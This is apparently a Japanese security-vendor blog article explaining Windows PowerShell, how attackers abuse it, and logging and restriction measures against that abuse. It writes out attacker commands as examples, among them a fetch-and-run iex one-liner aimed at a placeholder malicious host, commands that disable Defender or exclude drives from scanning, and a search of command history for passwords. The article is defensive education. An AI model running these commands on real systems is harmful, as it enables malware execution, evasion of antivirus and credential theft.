Skip to main content
サイバーセキュリティ

Windows PowerShellとは?

Windows PowerShellは強力な自動化ツールです。セキュリティへの影響と、環境内で安全に使用する方法を解説します。

著者 SentinelOne
Windows PowerShellとは?

Windows PowerShellは、タスクの自動化と構成管理に使う強力なスクリプト言語兼コマンドラインシェルです。このガイドでは、システム管理やセキュリティにおける役割を含め、PowerShellの機能を解説します。

一般的なPowerShellコマンド、スクリプト作成のベストプラクティス、サイバーセキュリティへの活用方法を学びましょう。PowerShellの理解は、IT担当者やセキュリティ担当者に不可欠です。

Windows PowerShell - Featured Image | SentinelOne

PowerShellは企業の重要な資産にどう影響するのでしょうか?PowerShellの基礎、攻撃者が注目する理由、企業を守る方法を解説します

Microsoft PowerShellは、タスクの自動化とWindowsベースのシステム管理に使うコマンドラインシェル兼スクリプト言語です。管理者やセキュリティ担当者は、定型業務の自動化、システムの管理・監視、セキュリティインシデントへの対応の自動化に広く使用しています。攻撃者もPowerShellを悪用し、システムへの不正アクセスや悪意あるコードの実行を試みます。

Microsoft PowerShellは2006年からWindowsで利用できます。現在はWindows 10のエクスプローラーで使われるコマンドシェルとなり、従来のcmd.exeツールにほぼ取って代わりました。一般ユーザーには難解に見られがちですが、 PowerShell は、その柔軟性と強力な機能により、ITチームやネットワーク管理者に不可欠な存在です。この入門ガイドでは、PowerShellの基礎と、 ハッカー やマルウェア作成者が注目する理由、組織を守る方法を解説します。

用途に合ったエディションを選ぶ

Cortanaの検索欄に「PowerShell」と入力すると、PowerShell ISEとPowerShell Desktopアプリが表示されます。さらに、スタートメニューまたは各PowerShellのタスクバーアイコンを右クリックすると、どちらも現在のユーザーまたは管理者として起動できます。

A screenshot image of Window

一般的なタスクを自動化する管理者は、PowerShellのモジュールやスクリプトの開発にISEを使用するでしょう。一方、対話的な操作にはPowerShell Desktopアプリを選び、作業に応じて管理者または現在のユーザーとして実行することが一般的です。

PowerShell Core という名前も耳にするかもしれません。WindowsだけでなくLinuxやmacOSでも動作する、クロスプラットフォームのオープンソース版です。

A screenshot image of Macintosh HD scripts

ただし、注意が必要です。署名のないバイナリとしてインストールされるため、悪意ある偽物に置き換えられるおそれがあります。PowerShell Coreを使用するエンドポイントがある場合は、適切な証明書で署名するか、定期的にshasumで確認し、改ざんされていないことを確かめてください。

PowerShellの各エディションには機能面で多少の違いがありますが、いずれもSSH経由でリモートセッションを実行し、幅広いプロセスやサービスを操作できます。Windowsレジストリやイベントログにもアクセスできます。つまり、PowerShellにアクセスできる攻撃者も、同じ機能を利用できるのです。

PowerShellの力を引き出す

2つの簡単なコマンドから、PowerShellの機能を知ることができます。

Get-Module -ListAvailable

で利用可能なモジュールを一覧表示し、

Get-Command

で利用可能なコマンドを一覧表示します。

Window

いくつか例を見てみましょう。自分(または攻撃者)が文書のディレクトリ内を調べ、興味深い情報がないか手早く確認したいとします。次のコマンドは、子ディレクトリを再帰的にたどり、隠しファイルや不可視ファイルも含めて、すべてのテキストファイルの先頭と末尾からそれぞれ2行を出力します。結果は、後で確認または取得できるよう別のテキストファイルに書き込みます。

Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log

「Confidential」で始まる文書や、「Chief Financial Officer」のような著者の役職で終わる文書を探すなら、これは対象を手早く洗い出す簡便な方法になります。

侵入の証拠を消すためなどに項目を削除するには、

Remove-Item <path>

PowerShellでは、オペレーティングシステムをさまざまな方法で操作できます。残念ながら、危険な操作も可能です。 マルウェア の作成者が、標準搭載の Microsoft Defender のAVエンジンを回避したい場合、適切な権限でPowerShellコマンドを実行すれば無効化できます。

Set-MpPreference -DisableRealTimeMonitoring $true

あるいは、より目立たないように、ドライブやパスをスキャン対象から除外することもできます。

Add-MpPreference -ExclusionPath “c:”

PowerShellを使えば、攻撃者はGet-PSDriveでネットワークドライブを列挙し、Get-EventLogでイベントログを取得することも容易です。どちらも悪用可能な情報を見つける手段となります。

A screenshot image of Window

ユーザーにも攻撃者にも役立つ機能の一つが、コマンドラインで対話的に入力されたコマンドの履歴を、引数を含めて読み取れることです。履歴の保存先は、次のコマンドで確認できます。

(Get-PSReadLineOption).HistorySavePath

さらに、catとSelect-Stringコマンドレット(またはエイリアスのsls)を使えば、コマンド履歴から関心のある項目(たとえば パスワード!)を効率的に検索できます。

A screenshot of Tweet that Nikhil Mittal

スクリプトとエクスプロイトキット

しかし、攻撃者にとって最大の機会は、コマンドラインでのPowerShell操作ではありません。さらに危険なのは、PowerShellがメモリ内(いわゆる「 ファイルレス 」マルウェア攻撃)とディスク上の両方からスクリプトを実行できる点です。いずれもホスト上で直接、またはリモートで実行できます。

Unixシェルのevalコマンドと同様に、PowerShellにはInvoke-Expression(エイリアスはiex)があり、悪意あるスクリプトをダウンロードしてメモリ内で実行できます。Bypassを追加すれば、制限付きの実行ポリシーの回避も試みられます。

powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"

当然ながら、PowerShellの能力を最大限に利用する包括的な攻撃フレームワークが登場するまで、時間はかかりませんでした。

その代表例が PowerSploit, 被害者のマシンの操作や制御に使えるPowerShellスクリプト群です。

A screenshot image of AntivirusBypass scripts

PowerShell Empire はPowerSploitや複数のプロジェクトの成果を基にした、侵入後の活動に使うツールです。ネットワーク上の検知を回避し、キーロガーや Mimikatz などのモジュールを実行して、平文のパスワード、パスワードハッシュ、その他のデータをメモリから直接抽出します。

Screenshot image of PowerShell post-exploitation Empire

PowerShellを悪用した攻撃の増加

Windowsのほかの種類の ファイル, .exe, .bat, .wsf, and .LNK から実行できるPowerShellスクリプトやコマンドが作成されていることは、近年PowerShellを悪用するマルウェアが増加した理由の一つです。ある 推計 によると、PowerShellを悪用した攻撃はマルウェア事案の約40%を占めます。攻撃者が ランサムウェア から 認証情報の窃取、バンキング型トロイの木馬まで、幅広い攻撃でPowerShellを使用していることは明らかです。PowerShellはクリック詐欺、パスワードの盗聴、データの流出にも関与しています。

DNSMessenger は、Word文書のマクロを通じて拡散することが確認されたマルウェアです。VBAソースコードを巧みに使ってエンコードされたPowerShellコマンドを送り込み、永続化、ペイロードの配信、C&Cサーバーとの通信を実行します。

驚くべきことに、PowerShellを悪用した攻撃には、組み込みのPowerShell.exeさえ必要としないものもあります。 PowerShdll や InsecurePowerShell などのツールは、PowerShellバイナリの基盤であるSystem.Management.Automation.dllを利用し、スクリプトを直接実行します。つまり、PowerShellの実行ファイルは、ダイナミックリンクライブラリ内の実際のコードを動かすホストまたはラッパーにすぎません。攻撃者はこれを悪用し、実質的にどのプロセスからでもPowerShellスクリプトやコマンドを実行させられます。

PowerShellの別の巧妙な悪用例には、PNGファイルのピクセルにPowerShellスクリプトを埋め込み、 Invoke-PSImage を使って実行用のワンライナーを生成する手法や、 PS2EXE のようなツールでPowerShellスクリプトをEXEファイルに変換する手法があります。

PowerShellの管理

ここまで見てきたとおり、PowerShell.exeをブロックするだけでは効果がありません。PowerShellの機能に頼るシステム管理者にとっても大きな負担となります。PowerShellとその基盤となるDLLはWindowsオペレーティングシステムに不可欠です。さらに、PowerShell Coreの登場により、企業にとって不可欠となり得る クロスプラットフォーム 管理にもその能力が広がっています。

PowerShellの二面性に対応するには、SentinelOneのようにエンドポイントで実行されるプロセスの振る舞いを監視するエンタープライズ向け製品が有効です。マルウェアの攻撃手法がどのように実装されていても、プロセスの振る舞いには共通性があるためです。SentinelOneエージェントは、エージェント上のすべてのアクティビティを監視し、悪意のあるものと無害なものを区別します。ユーザー、プロセス、コマンドライン引数、レジストリ、ディスク上のファイル、外部との通信に関する情報をすでに把握しているため、発生源を問わず悪意のあるアクティビティを阻止します。


この記事が気に入りましたか? LinkedIn, Twitter, YouTube または Facebook でフォローして、最新の投稿をご覧ください。

Windowsのセキュリティについて詳しく見る

Callout Background Image Gradient

AIを活用したサイバーセキュリティ

リアルタイムの検知、マシンスピードのレスポンス、デジタル環境全体の可視化により、セキュリティ態勢を強化します。

Windows PowerShellに関するよくある質問

Windows PowerShellは、.NET Framework上に構築されたMicrosoftのコマンドラインシェルおよびスクリプト言語です。動詞と名詞を組み合わせたシンプルなコマンドであるコマンドレットを使い、ファイルシステム、レジストリ、サービスの管理などを自動化できます。

PowerShellはプレーンテキストではなくオブジェクトを処理して返すため、構造化データをコマンドレットから次のコマンドレットへ渡せます。リモート操作、モジュール、コンソール内のヘルプにも対応し、システム管理に活用できます。

従来のCMDとは異なり、PowerShellは動詞と名詞を組み合わせたコマンドレットを使い、テキストストリームではなく.NETオブジェクトを扱います。そのため、テキストを解析せずにパイプラインでコマンドを連結できます。PowerShellスクリプトは.NET APIを直接呼び出せるほか、より高度なエラー処理とモジュールにも対応します。

従来のシェルが扱うのはプレーンテキストと基本的なバッチスクリプトだけですが、PowerShellには自動化と構成管理に使える本格的なスクリプト環境があります。

PowerShellはシステムと深く統合され、強力なスクリプト機能を備えているため、管理者にも攻撃者にも多用されます。攻撃者はスクリプトをメモリ上で実行するファイルレス手法で検知を回避します。

PowerShellを使えば、ディスクに書き込まずに防御機能を無効化し、悪意のあるコードをダウンロードし、認証情報を窃取できます。Windowsに広く普及しているため、防御側はPowerShellの動作を高リスクと捉え、悪用を厳重に監視する必要があります。

Ciscoの調査では、エンドポイントにおける重大なセキュリティ脅威の3分の1超にPowerShellが関与していました。Carbon Blackは、インシデントの38%でPowerShellの悪用を報告しており、その多くはラテラルムーブメントや認証情報の窃取など、侵害後の活動でした。

通常の利用は少ないものの、悪意が確認された事例の約14件に1件でPowerShellが使われています。

モジュールログ、スクリプトブロックログ、トランスクリプトなど、PowerShellのすべてのログ記録を有効にします。ログサイズを少なくとも150 MBに設定します。イベントの収集元は

Microsoft-Windows-PowerShell/OperationalとPowerShellCore/Operationalです。ログをSIEMまたはXDRに取り込みます。信頼できない親プロセスから起動されたスクリプトをブロックし、実行ポリシーを署名済みスクリプトのみに制限します。さらに詳細を記録するため、Protected Event Loggingを有効にします。

Just Enough Administration(JEA)を使い、ユーザーのアクセスを承認済みコマンドレットのみに制限します。制約付き言語モードを適用してCOM、WMI、複雑な式を無効化します。Application Controlポリシー(WDACなど)を導入し、署名済みスクリプトを許可リストに登録します。

PowerShellをv5.1以降に更新します。ログ記録の設定を定期的に確認・調整し、すべてのスクリプト実行が記録されるようにします。

PowerShellを完全にブロックすると、システム管理やリモート管理に支障が出る場合があります。Microsoftは完全な削除を推奨していません。代わりに、実行を許可された管理者に限定し、アプリケーション制御を適用して、Officeアプリなど信頼できない親プロセスからのPowerShellの起動を制限します。

ログ記録と監視を組み合わせれば、正当な業務を妨げずに悪用の大半を阻止できます。

PowerShellを使えば、インシデント対応を自動化し、フォレンジックデータを迅速に収集して、脅威をハンティングできます。スクリプトを作成すれば、レジストリの痕跡、プロセス一覧、ネットワーク接続を数分で収集できます。侵害後に使われるツールの多くは内部でPowerShellを利用しているため、PowerShellを学ぶことは攻撃手法の理解にもつながります。こうしたツールにはEmpireやCobalt Strikeがあります。

PowerShellスクリプトを使えば、トリアージに必要な実行中のメモリ、レジストリのRunキー、イベントログ、ネットワークデータを収集できます。DFIR-Scriptのようなコミュニティツールは、エンドポイント全体での証拠収集を自動化します。脅威ハンターはPowerShellでWindows Event ID 4104を照会し、悪意のあるスクリプトブロックを探します。その出力を解析し、結果をSOARプレイブックに取り込みます。PowerShellは検知、封じ込め、修復のワークフローに欠かせない要素です。

さらに詳しく見る サイバーセキュリティ

Decorative background gradient

最先端のサイバーセキュリティプラットフォームを体験

世界で最もインテリジェントで自律型のサイバーセキュリティプラットフォームが、現在そして将来にわたって組織をどのように保護できるかをご覧ください。
Dark dashboard UI with purple-highlighted nav, summary cards showing 149, 7, 78, 56, 1.2 h, and a status table with linked purple text